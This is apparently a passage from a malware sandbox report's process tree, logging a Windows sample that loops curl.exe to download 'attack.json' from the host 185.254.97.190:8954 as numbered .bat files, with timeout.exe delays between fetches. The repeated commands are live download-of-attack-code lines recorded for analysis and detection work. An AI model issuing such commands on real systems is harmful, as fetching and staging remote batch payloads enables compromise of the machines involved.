- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3744
- C:\Windows\system32\curl.exe
  curl -o 31723.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4808
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1980
- C:\Windows\system32\curl.exe
  curl -o 19079.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1220
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2264
- C:\Windows\system32\curl.exe
  curl -o 17306.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5084
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:544
- C:\Windows\system32\curl.exe
  curl -o 6111.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:772
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4832
- C:\Windows\system32\curl.exe
  curl -o 20996.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4976
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3116
- C:\Windows\system32\curl.exe
  curl -o 24168.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2268
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2128
- C:\Windows\system32\curl.exe
  curl -o 10674.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4836
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3320
- C:\Windows\system32\curl.exe
  curl -o 21410.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3928
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5036
- C:\Windows\system32\curl.exe
  curl -o 23253.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3556
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2024
- C:\Windows\system32\curl.exe
  curl -o 31974.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4444
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2196
- C:\Windows\system32\curl.exe
  curl -o 23460.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2660
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3568
- C:\Windows\system32\curl.exe
  curl -o 27846.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2452
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:852
- C:\Windows\system32\curl.exe
  curl -o 31932.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3496
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3104
- C:\Windows\system32\curl.exe
  curl -o 24695.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4756
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:900
- C:\Windows\system32\curl.exe
  curl -o 8543.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2828
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2068
- C:\Windows\system32\curl.exe
  curl -o 25997.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2772
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1688
- C:\Windows\system32\curl.exe
  curl -o 25283.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2916
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2284
- C:\Windows\system32\curl.exe
  curl -o 12943.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4964
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4824
- C:\Windows\system32\curl.exe
  curl -o 16086.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2084
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:360
- C:\Windows\system32\curl.exe
  curl -o 28970.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1276
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4420
- C:\Windows\system32\curl.exe
  curl -o 13857.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4224
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4492
- C:\Windows\system32\curl.exe
  curl -o 28436.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4204
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4868
- C:\Windows\system32\curl.exe
  curl -o 6569.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3464
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3940
- C:\Windows\system32\curl.exe
  curl -o 4820.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4016
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:764
- C:\Windows\system32\curl.exe
  curl -o 4356.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:468
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2584
- C:\Windows\system32\curl.exe
  curl -o 7185.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2556
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3456
- C:\Windows\system32\curl.exe
  curl -o 25089.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3788
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:744
- C:\Windows\system32\curl.exe
  curl -o 13080.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4400
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2952
- C:\Windows\system32\curl.exe
  curl -o 3725.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2272
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3972
- C:\Windows\system32\curl.exe
  curl -o 10670.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3388
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1948
- C:\Windows\system32\curl.exe
  curl -o 17083.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3220
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3164
- C:\Windows\system32\curl.exe
  curl -o 8051.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1976
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2072
- C:\Windows\system32\curl.exe
  curl -o 7196.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4816
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2384
- C:\Windows\system32\curl.exe
  curl -o 3680.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1444
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1036
- C:\Windows\system32\curl.exe
  curl -o 23754.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3532
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3796
- C:\Windows\system32\curl.exe
  curl -o 10272.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3580
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2240
- C:\Windows\system32\curl.exe
  curl -o 28623.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3948
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4460
- C:\Windows\system32\curl.exe
  curl -o 29533.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1272
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2996
- C:\Windows\system32\curl.exe
  curl -o 4566.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3304
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1732
- C:\Windows\system32\curl.exe
  curl -o 20527.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4592
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1848
- C:\Windows\system32\curl.exe
  curl -o 18501.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4572
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3560
- C:\Windows\system32\curl.exe
  curl -o 1363.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4004
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1048
- C:\Windows\system32\curl.exe
  curl -o 25129.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1204
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5064
- C:\Windows\system32\curl.exe
  curl -o 17367.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2212
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1844
- C:\Windows\system32\curl.exe
  curl -o 22952.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3540
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1552
- C:\Windows\system32\curl.exe
  curl -o 15705.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2768
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1344
- C:\Windows\system32\curl.exe
  curl -o 25036.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2836
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3200
- C:\Windows\system32\curl.exe
  curl -o 2317.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2744
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2004
- C:\Windows\system32\curl.exe
  curl -o 3050.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2680
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3740
- C:\Windows\system32\curl.exe
  curl -o 13862.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4808
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1008
- C:\Windows\system32\curl.exe
  curl -o 2285.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2432
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:888
- C:\Windows\system32\curl.exe
  curl -o 7765.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4000
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1696
- C:\Windows\system32\curl.exe
  curl -o 28238.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3692
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2424
- C:\Windows\system32\curl.exe
  curl -o 24960.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4216
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4588
- C:\Windows\system32\curl.exe
  curl -o 25476.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4644
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4244
- C:\Windows\system32\curl.exe
  curl -o 31705.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3680
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3468
- C:\Windows\system32\curl.exe
  curl -o 1067.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2040
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2436
- C:\Windows\system32\curl.exe
  curl -o 12792.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5036
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:716
- C:\Windows\system32\curl.exe
  curl -o 25655.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4580
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4444
- C:\Windows\system32\curl.exe
  curl -o 10936.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1764
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1616
- C:\Windows\system32\curl.exe
  curl -o 20205.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3568
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2452
- C:\Windows\system32\curl.exe
  curl -o 3285.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2060
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3496
- C:\Windows\system32\curl.exe
  curl -o 24186.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3104
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4756
- C:\Windows\system32\curl.exe
  curl -o 26272.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:900
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3204
- C:\Windows\system32\curl.exe
  curl -o 14684.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2704
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2776
- C:\Windows\system32\curl.exe
  curl -o 6222.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3964
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2152
- C:\Windows\system32\curl.exe
  curl -o 27642.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4528
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2032
- C:\Windows\system32\curl.exe
  curl -o 32159.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2084
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:360
- C:\Windows\system32\curl.exe
  curl -o 18465.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:708
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4420
- C:\Windows\system32\curl.exe
  curl -o 14844.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4224
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1256
- C:\Windows\system32\curl.exe
  curl -o 16700.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1044
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4868
- C:\Windows\system32\curl.exe
  curl -o 25142.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5028
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2688
- C:\Windows\system32\curl.exe
  curl -o 13189.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3488
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1092
- C:\Windows\system32\curl.exe
  curl -o 22926.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:492
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2120
- C:\Windows\system32\curl.exe
  curl -o 13697.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2548
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1016
- C:\Windows\system32\curl.exe
  curl -o 9136.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3208
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4704
- C:\Windows\system32\curl.exe
  curl -o 20093.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:240
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2528
- C:\Windows\system32\curl.exe
  curl -o 15295.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2784
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2456
- C:\Windows\system32\curl.exe
  curl -o 494.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3388
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4376
- C:\Windows\system32\curl.exe
  curl -o 16561.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3220
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3676
- C:\Windows\system32\curl.exe
  curl -o 24292.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2988
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3700
- C:\Windows\system32\curl.exe
  curl -o 2437.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1156
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2404
- C:\Windows\system32\curl.exe
  curl -o 31721.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3076
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1384
- C:\Windows\system32\curl.exe
  curl -o 2066.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1320
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2448
- C:\Windows\system32\curl.exe
  curl -o 19207.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4640
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2240
- C:\Windows\system32\curl.exe
  curl -o 22411.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1808
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4460
- C:\Windows\system32\curl.exe
  curl -o 20166.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3028
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2996
- C:\Windows\system32\curl.exe
  curl -o 31724.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1224
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1732
- C:\Windows\system32\curl.exe
  curl -o 16486.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4592
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1848
- C:\Windows\system32\curl.exe
  curl -o 16866.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4568
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3560
- C:\Windows\system32\curl.exe
  curl -o 30883.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4004
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1048
- C:\Windows\system32\curl.exe
  curl -o 27379.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1716
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5060
- C:\Windows\system32\curl.exe
  curl -o 14265.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4804
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1844
- C:\Windows\system32\curl.exe
  curl -o 28660.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3540
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1552
- C:\Windows\system32\curl.exe
  curl -o 3728.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1684
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2820
- C:\Windows\system32\curl.exe
  curl -o 13318.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4564
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:464
- C:\Windows\system32\curl.exe
  curl -o 31282.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1056
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2276
- C:\Windows\system32\curl.exe
  curl -o 5305.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2324
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5084
- C:\Windows\system32\curl.exe
  curl -o 3060.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2460
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1736
- C:\Windows\system32\curl.exe
  curl -o 26628.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1652
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3116
- C:\Windows\system32\curl.exe
  curl -o 3074.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:564
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2248
- C:\Windows\system32\curl.exe
  curl -o 16173.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3688
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3884
- C:\Windows\system32\curl.exe
  curl -o 12588.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4696
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3324
- C:\Windows\system32\curl.exe
  curl -o 15840.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4848
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2340
- C:\Windows\system32\curl.exe
  curl -o 8222.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3216
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1216
- C:\Windows\system32\curl.exe
  curl -o 3841.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3968
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2204
- C:\Windows\system32\curl.exe
  curl -o 13684.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1928
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4740
- C:\Windows\system32\curl.exe
  curl -o 3320.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2756
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:852
- C:\Windows\system32\curl.exe
  curl -o 31043.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3496
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3104
- C:\Windows\system32\curl.exe
  curl -o 8592.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1856
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2964
- C:\Windows\system32\curl.exe
  curl -o 20491.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2772
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2068
- C:\Windows\system32\curl.exe
  curl -o 16802.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2776
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2896
- C:\Windows\system32\curl.exe
  curl -o 23607.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3964
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:724
- C:\Windows\system32\curl.exe
  curl -o 19222.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3812
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4488
- C:\Windows\system32\curl.exe
  curl -o 23698.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1796
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3476
- C:\Windows\system32\curl.exe
  curl -o 8.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2084
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:360
- C:\Windows\system32\curl.exe
  curl -o 30547.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:708
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3008
- C:\Windows\system32\curl.exe
  curl -o 28700.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4224
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3544
- C:\Windows\system32\curl.exe
  curl -o 7861.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1044
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3080
- C:\Windows\system32\curl.exe
  curl -o 26935.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3864
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3348
- C:\Windows\system32\curl.exe
  curl -o 25406.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4192
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2792
- C:\Windows\system32\curl.exe
  curl -o 4919.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:904
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4636
- C:\Windows\system32\curl.exe
  curl -o 26894.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:340
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1284
- C:\Windows\system32\curl.exe
  curl -o 13938.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3208
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2952
- C:\Windows\system32\curl.exe
  curl -o 8443.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:240
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3972
- C:\Windows\system32\curl.exe
  curl -o 27378.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2784
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2832
- C:\Windows\system32\curl.exe
  curl -o 11078.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:228
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3220
- C:\Windows\system32\curl.exe
  curl -o 7884.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3432
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1188
- C:\Windows\system32\curl.exe
  curl -o 14630.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2600
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2580
- C:\Windows\system32\curl.exe
  curl -o 5129.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3100
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3076
- C:\Windows\system32\curl.exe
  curl -o 11134.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3184
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1176
- C:\Windows\system32\curl.exe
  curl -o 15094.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3228
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:996
- C:\Windows\system32\curl.exe
  curl -o 24698.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2136
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4284
- C:\Windows\system32\curl.exe
  curl -o 13272.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1272
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:276
- C:\Windows\system32\curl.exe
  curl -o 28397.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1224
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2392
- C:\Windows\system32\curl.exe
  curl -o 23381.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4592
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3712
